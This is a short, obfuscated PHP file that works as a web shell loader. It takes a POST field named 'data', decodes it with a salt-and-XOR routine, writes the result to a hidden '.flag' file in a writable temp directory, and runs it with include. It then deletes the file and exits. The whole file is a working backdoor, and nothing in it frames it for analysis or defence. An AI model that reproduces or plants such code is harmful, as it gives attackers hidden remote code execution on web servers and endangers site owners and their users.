<?php

if(in_array("\x64\x61ta", array_keys($_POST))){
	$itm = $_POST["\x64\x61ta"];
	$itm=explode		( 	'.', $itm );	
	$pset = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( 	$salt);
    
            foreach( 	$itm as $y => $v3) {
                $chS = ord( 	$salt[$y % $lenS]);
                $dec =( 	( 	int)$v3 - $chS -( 	$y % 10))	^		54;
                $pset .= chr( 	$dec);		}		
	$entity = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path()]);
	for ($flg = 0, $property_set = count($entity); $flg < $property_set; $flg++) {
    $value = $entity[$flg];
    		if (!( !is_dir($value) || !is_writable($value) )) {
    $fac = vsprintf("%s/%s", [$value, ".flag"]);
    if (file_put_contents($fac, $pset)) {
	include $fac;
	@unlink($fac);
	die();
}
}
}
}